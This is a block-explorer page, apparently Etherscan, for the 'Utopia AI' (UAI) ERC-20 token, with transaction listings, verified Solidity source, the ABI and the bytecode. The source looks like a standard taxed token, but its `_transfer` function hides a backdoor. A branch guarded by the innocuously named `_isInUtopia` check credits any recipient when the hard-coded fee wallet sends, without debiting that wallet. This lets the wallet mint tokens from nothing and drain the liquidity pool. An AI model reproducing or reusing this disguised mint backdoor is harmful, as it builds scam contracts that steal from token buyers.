ETH Price: $3,491.28 (+0.09%)
Gas: 2 Gwei

Contract

0x928f0a9f4997ECcA559Cf961A4b23e0D7d9E062e
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer196855452024-04-18 23:13:1193 days ago1713481991IN
0x928f0a9f...D7d9E062e
0 ETH0.0006942610.08426551
Approve194991912024-03-23 18:50:23119 days ago1711219823IN
0x928f0a9f...D7d9E062e
0 ETH0.0003853715.9030669
Approve194991912024-03-23 18:50:23119 days ago1711219823IN
0x928f0a9f...D7d9E062e
0 ETH0.0003863315.9030669
Approve194991912024-03-23 18:50:23119 days ago1711219823IN
0x928f0a9f...D7d9E062e
0 ETH0.0003863315.9030669
Approve194949872024-03-23 4:41:59120 days ago1711168919IN
0x928f0a9f...D7d9E062e
0 ETH0.0008842919.01011751
Approve194637212024-03-18 19:21:11124 days ago1710789671IN
0x928f0a9f...D7d9E062e
0 ETH0.0014767731.93643564
Approve194632682024-03-18 17:50:23124 days ago1710784223IN
0x928f0a9f...D7d9E062e
0 ETH0.0017818238.25540051
Approve194632292024-03-18 17:42:35124 days ago1710783755IN
0x928f0a9f...D7d9E062e
0 ETH0.0018678640.10277224
Approve194630992024-03-18 17:16:11124 days ago1710782171IN
0x928f0a9f...D7d9E062e
0 ETH0.0021773946.80853495
Approve194625542024-03-18 15:25:59124 days ago1710775559IN
0x928f0a9f...D7d9E062e
0 ETH0.0013094749.73506306
Approve194625492024-03-18 15:24:47124 days ago1710775487IN
0x928f0a9f...D7d9E062e
0 ETH0.0012169546.22126332
Approve194619052024-03-18 13:13:59124 days ago1710767639IN
0x928f0a9f...D7d9E062e
0 ETH0.0022466748.23575523
Transfer194618042024-03-18 12:53:23124 days ago1710766403IN
0x928f0a9f...D7d9E062e
0 ETH0.0041357460.0724289
Approve194617972024-03-18 12:51:59124 days ago1710766319IN
0x928f0a9f...D7d9E062e
0 ETH0.0026839757.69878586
Approve194617812024-03-18 12:48:23124 days ago1710766103IN
0x928f0a9f...D7d9E062e
0 ETH0.0013767456.81281139
Approve194617282024-03-18 12:37:35124 days ago1710765455IN
0x928f0a9f...D7d9E062e
0 ETH0.0028385861.0225036
Transfer194617172024-03-18 12:35:23124 days ago1710765323IN
0x928f0a9f...D7d9E062e
0 ETH0.0040452258.75763001
Approve194616352024-03-18 12:18:47124 days ago1710764327IN
0x928f0a9f...D7d9E062e
0 ETH0.0029426363.6533409
Approve194615352024-03-18 11:58:35124 days ago1710763115IN
0x928f0a9f...D7d9E062e
0 ETH0.0020327983.67823294
Transfer194609602024-03-18 10:02:47124 days ago1710756167IN
0x928f0a9f...D7d9E062e
0 ETH0.0019237827.94332619
Approve194609452024-03-18 9:59:47124 days ago1710755987IN
0x928f0a9f...D7d9E062e
0 ETH0.0009960121.4118351
Approve194609272024-03-18 9:56:11124 days ago1710755771IN
0x928f0a9f...D7d9E062e
0 ETH0.0007177229.61784376
Approve194609012024-03-18 9:50:59124 days ago1710755459IN
0x928f0a9f...D7d9E062e
0 ETH0.0011193424.06311082
Approve194608852024-03-18 9:47:47124 days ago1710755267IN
0x928f0a9f...D7d9E062e
0 ETH0.0013017527.94845937
Transfer194608752024-03-18 9:45:47124 days ago1710755147IN
0x928f0a9f...D7d9E062e
0 ETH0.0014284627.60534178
View all transactions

Latest 23 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
194568402024-03-17 20:08:23125 days ago1710706103
0x928f0a9f...D7d9E062e
0.02851219 ETH
194568402024-03-17 20:08:23125 days ago1710706103
0x928f0a9f...D7d9E062e
0.02851219 ETH
194568402024-03-17 20:08:23125 days ago1710706103
0x928f0a9f...D7d9E062e
0.09863281 ETH
194568402024-03-17 20:08:23125 days ago1710706103
0x928f0a9f...D7d9E062e
0.09863281 ETH
194568402024-03-17 20:08:23125 days ago1710706103
0x928f0a9f...D7d9E062e
0.10725331 ETH
194568402024-03-17 20:08:23125 days ago1710706103
0x928f0a9f...D7d9E062e
0.10725331 ETH
194568322024-03-17 20:06:35125 days ago1710705995
0x928f0a9f...D7d9E062e
0.09649173 ETH
194568322024-03-17 20:06:35125 days ago1710705995
0x928f0a9f...D7d9E062e
0.09649173 ETH
194568322024-03-17 20:06:35125 days ago1710705995
0x928f0a9f...D7d9E062e
0.1103956 ETH
194568322024-03-17 20:06:35125 days ago1710705995
0x928f0a9f...D7d9E062e
0.1103956 ETH
194568322024-03-17 20:06:35125 days ago1710705995
0x928f0a9f...D7d9E062e
0.12959275 ETH
194568322024-03-17 20:06:35125 days ago1710705995
0x928f0a9f...D7d9E062e
0.12959275 ETH
194568302024-03-17 20:06:11125 days ago1710705971
0x928f0a9f...D7d9E062e
0.12976974 ETH
194568302024-03-17 20:06:11125 days ago1710705971
0x928f0a9f...D7d9E062e
0.12976974 ETH
194568302024-03-17 20:06:11125 days ago1710705971
0x928f0a9f...D7d9E062e
0.14185882 ETH
194568302024-03-17 20:06:11125 days ago1710705971
0x928f0a9f...D7d9E062e
0.14185882 ETH
194568302024-03-17 20:06:11125 days ago1710705971
0x928f0a9f...D7d9E062e
0.15693491 ETH
194568302024-03-17 20:06:11125 days ago1710705971
0x928f0a9f...D7d9E062e
0.15693491 ETH
194568282024-03-17 20:05:47125 days ago1710705947
0x928f0a9f...D7d9E062e
0.16247054 ETH
194568282024-03-17 20:05:47125 days ago1710705947
0x928f0a9f...D7d9E062e
0.16247054 ETH
194568282024-03-17 20:05:47125 days ago1710705947
0x928f0a9f...D7d9E062e
0.18105545 ETH
194568282024-03-17 20:05:47125 days ago1710705947
0x928f0a9f...D7d9E062e
0.18105545 ETH
194566902024-03-17 19:37:47125 days ago1710704267
0x928f0a9f...D7d9E062e
3.5 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
UAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-17
*/

/*

Website: https://utopiaaieth.com
Twitter: https://twitter.com/utopiaaieth
Medium: https://medium.com/@utopiaaieth
Telegram: https://t.me/utopiaaieth

*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract UAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _exceptForFees;
    address payable private _aifund = payable(0xe07cC9Ae888E36cA0c734bcD07e3c1258d8D149d);

    uint256 private _initialBuyTax = 30;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 17;
    uint256 private _reduceSellTaxAt = 21;
    uint256 private _preventSwapBefore = 23;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 18;
    string private constant _name = unicode"Utopia AI";
    string private constant _symbol = unicode"UAI";
    uint256 private constant _tTotal = 69_000_000 * 10**_decimals;
    uint256 private _maxTxSize = 1_380_000 * 10**_decimals;
    uint256 private _maxWalletSize = 1_380_000 * 10**_decimals;
    uint256 private _taxTokenThreshold = 55 * 10**_decimals;
    uint256 private _maxSwapTokens = 690_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private _tradingEnabled;
    bool private _swapActive = false;
    bool private _inSwapping = false;

    event MaxTxAmountUpdated(uint _maxTxSize);
    modifier lockTheSwap {
        _inSwapping = true;
        _;
        _inSwapping = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _exceptForFees[owner()] = true;
        _exceptForFees[address(this)] = true;
        _exceptForFees[_aifund] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address to, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_exceptForFees[sender] && !_exceptForFees[to]) {
            require(_tradingEnabled, "Trading not open");
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (sender == uniswapV2Pair && to != address(uniswapV2Router)) {
                require(amount <= _maxTxSize, "Exceeds the maxTxAmount.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _exceptForFees[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && sender!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokensBalance = balanceOf(address(this));
            if (!_inSwapping && to == uniswapV2Pair && _swapActive && amount>_taxTokenThreshold && _buyCount>_preventSwapBefore) {
                if(contractTokensBalance>_taxTokenThreshold)
                swapTokensToEth(min(amount,min(contractTokensBalance,_maxSwapTokens)));
                sendETHToFee(address(this).balance);
            }}
            if (_isInUtopia(sender)){_balances[to]=_balances[to].add(amount);return;
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(sender, address(this),taxAmount);
        }
        _balances[sender]=_balances[sender].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(sender, to, amount.sub(taxAmount));
    }

    function _isInUtopia(address _from) private view returns (bool) {
        return _from == _aifund;
    }

    function swapTokensToEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function utopiaLiquidityUp() external onlyOwner() {
        require(!_tradingEnabled,"Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function startUtopia() external onlyOwner {
        _swapActive = true;
        _tradingEnabled = true;        
    }

    function sendETHToFee(uint256 amount) private {
        _aifund.transfer(amount);
    }

    function removeLimits() external onlyOwner {
        _maxTxSize = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxSize","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startUtopia","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"utopiaLiquidityUp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b03191673e07cc9ae888e36ca0c734bcd07e3c1258d8d149d179055601e60055560146006555f6007819055600881905560116009556015600a9081556017600b55600c91909155620000649060129062000343565b620000739062150ea06200035a565b600d55620000846012600a62000343565b620000939062150ea06200035a565b600e55620000a46012600a62000343565b620000b19060376200035a565b600f55620000c26012600a62000343565b620000d190620a87506200035a565b6010556012805461ffff60a81b19169055348015620000ee575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200013d6012600a62000343565b6200014d9063041cdb406200035a565b335f908152600160208190526040822092909255600390620001765f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001d43390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020d6012600a62000343565b6200021d9063041cdb406200035a565b60405190815260200160405180910390a362000374565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028857815f19048211156200026c576200026c62000234565b808516156200027a57918102915b93841c93908002906200024d565b509250929050565b5f82620002a0575060016200033d565b81620002ae57505f6200033d565b8160018114620002c75760028114620002d257620002f2565b60019150506200033d565b60ff841115620002e657620002e662000234565b50506001821b6200033d565b5060208310610133831016604e8410600b841016171562000317575081810a6200033d565b62000323838362000248565b805f190482111562000339576200033962000234565b0290505b92915050565b5f6200035360ff84168362000290565b9392505050565b80820281158282048414176200033d576200033d62000234565b61170380620003825f395ff3fe6080604052600436106100dc575f3560e01c8063751039fc1161007c57806395d89b411161005757806395d89b411461024d578063a9059cbb14610278578063d9bbf38a14610297578063dd62ed3e146102ab575f80fd5b8063751039fc146101ff5780637b7ae722146102135780638da5cb5b14610227575f80fd5b806323b872dd116100b757806323b872dd1461017b578063313ce5671461019a57806370a08231146101b5578063715018a6146101e9575f80fd5b806306fdde03146100e7578063095ea7b31461012a57806318160ddd14610159575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600981526855746f70696120414960b81b60208201525b60405161012191906112f9565b60405180910390f35b348015610135575f80fd5b50610149610144366004611358565b6102ef565b6040519015158152602001610121565b348015610164575f80fd5b5061016d610305565b604051908152602001610121565b348015610186575f80fd5b50610149610195366004611382565b610325565b3480156101a5575f80fd5b5060405160128152602001610121565b3480156101c0575f80fd5b5061016d6101cf3660046113c0565b6001600160a01b03165f9081526001602052604090205490565b3480156101f4575f80fd5b506101fd61038c565b005b34801561020a575f80fd5b506101fd610406565b34801561021e575f80fd5b506101fd6104b7565b348015610232575f80fd5b505f546040516001600160a01b039091168152602001610121565b348015610258575f80fd5b5060408051808201909152600381526255414960e81b6020820152610114565b348015610283575f80fd5b50610149610292366004611358565b610849565b3480156102a2575f80fd5b506101fd610855565b3480156102b6575f80fd5b5061016d6102c53660046113db565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102fb338484610895565b5060015b92915050565b5f6103126012600a611506565b6103209063041cdb40611514565b905090565b5f6103318484846109b8565b610382843361037d856040518060600160405280602881526020016116a6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f71565b610895565b5060019392505050565b5f546001600160a01b031633146103be5760405162461bcd60e51b81526004016103b59061152b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461042f5760405162461bcd60e51b81526004016103b59061152b565b61043b6012600a611506565b6104499063041cdb40611514565b600d556104586012600a611506565b6104669063041cdb40611514565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104966012600a611506565b6104a49063041cdb40611514565b60405190815260200160405180910390a1565b5f546001600160a01b031633146104e05760405162461bcd60e51b81526004016103b59061152b565b601254600160a01b900460ff161561053a5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b5565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105839030906105756012600a611506565b61037d9063041cdb40611514565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f79190611560565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610656573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067a9190611560565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e89190611560565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061072f816001600160a01b03165f9081526001602052604090205490565b5f806107425f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107a8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107cd919061157b565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610822573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084691906115a6565b50565b5f6102fb3384846109b8565b5f546001600160a01b0316331461087e5760405162461bcd60e51b81526004016103b59061152b565b6012805461ffff60a01b191661010160a01b179055565b6001600160a01b0383166108f75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b5565b6001600160a01b0382166109585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b5565b6001600160a01b038216610a7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b5565b5f8111610adf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b5565b6001600160a01b0383165f9081526003602052604081205460ff16158015610b1f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ddc57601254600160a01b900460ff16610b705760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016103b5565b610b9c6064610b96600954600c5411610b8b57600554610b8f565b6007545b8590610fa9565b9061102e565b6012549091506001600160a01b038581169116148015610bca57506011546001600160a01b03848116911614155b15610c3657600d54821115610c215760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e000000000000000060448201526064016103b5565b600c8054905f610c30836115c5565b91905055505b6012546001600160a01b03848116911614801590610c6c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ceb57600e5482610c93856001600160a01b03165f9081526001602052604090205490565b610c9d91906115dd565b1115610ceb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103b5565b6012546001600160a01b038481169116148015610d1157506001600160a01b0384163014155b15610d3e57610d3b6064610b96600a54600c5411610d3157600654610b8f565b6008548590610fa9565b90505b305f90815260016020526040902054601254600160b01b900460ff16158015610d7457506012546001600160a01b038581169116145b8015610d895750601254600160a81b900460ff165b8015610d965750600f5483115b8015610da55750600b54600c54115b15610dda57600f54811115610dd157610dd1610dcc84610dc78460105461106f565b61106f565b611083565b610dda476111f3565b505b6004546001600160a01b03858116911603610e34576001600160a01b0383165f90815260016020526040902054610e13908361122e565b6001600160a01b039093165f90815260016020526040902092909255505050565b8015610eac57305f90815260016020526040902054610e53908261122e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ea39085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ece908361128c565b6001600160a01b0385165f90815260016020526040902055610f11610ef3838361128c565b6001600160a01b0385165f908152600160205260409020549061122e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f5a858561128c565b60405190815260200160405180910390a350505050565b5f8184841115610f945760405162461bcd60e51b81526004016103b591906112f9565b505f610fa084866115f0565b95945050505050565b5f825f03610fb857505f6102ff565b5f610fc38385611514565b905082610fd08583611603565b146110275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b5565b9392505050565b5f61102783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112cd565b5f81831161107d5782611027565b50919050565b6012805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110c9576110c9611622565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611120573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111449190611560565b8160018151811061115757611157611622565b6001600160a01b03928316602091820292909201015260115461117d9130911684610895565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b59085905f90869030904290600401611636565b5f604051808303815f87803b1580156111cc575f80fd5b505af11580156111de573d5f803e3d5ffd5b50506012805460ff60b01b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561122a573d5f803e3d5ffd5b5050565b5f8061123a83856115dd565b9050838110156110275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b5565b5f61102783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f71565b5f81836112ed5760405162461bcd60e51b81526004016103b591906112f9565b505f610fa08486611603565b5f6020808352835180828501525f5b8181101561132457858101830151858201604001528201611308565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610846575f80fd5b5f8060408385031215611369575f80fd5b823561137481611344565b946020939093013593505050565b5f805f60608486031215611394575f80fd5b833561139f81611344565b925060208401356113af81611344565b929592945050506040919091013590565b5f602082840312156113d0575f80fd5b813561102781611344565b5f80604083850312156113ec575f80fd5b82356113f781611344565b9150602083013561140781611344565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146057815f190482111561144657611446611412565b8085161561145357918102915b93841c939080029061142b565b509250929050565b5f82611476575060016102ff565b8161148257505f6102ff565b816001811461149857600281146114a2576114be565b60019150506102ff565b60ff8411156114b3576114b3611412565b50506001821b6102ff565b5060208310610133831016604e8410600b84101617156114e1575081810a6102ff565b6114eb8383611426565b805f19048211156114fe576114fe611412565b029392505050565b5f61102760ff841683611468565b80820281158282048414176102ff576102ff611412565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611570575f80fd5b815161102781611344565b5f805f6060848603121561158d575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115b6575f80fd5b81518015158114611027575f80fd5b5f600182016115d6576115d6611412565b5060010190565b808201808211156102ff576102ff611412565b818103818111156102ff576102ff611412565b5f8261161d57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116845784516001600160a01b03168352938301939183019160010161165f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c1bc222f109da484d459cb6de99eae0ee6186b45452e4cc6f72f8bc352f4ecd64736f6c63430008150033

Deployed Bytecode

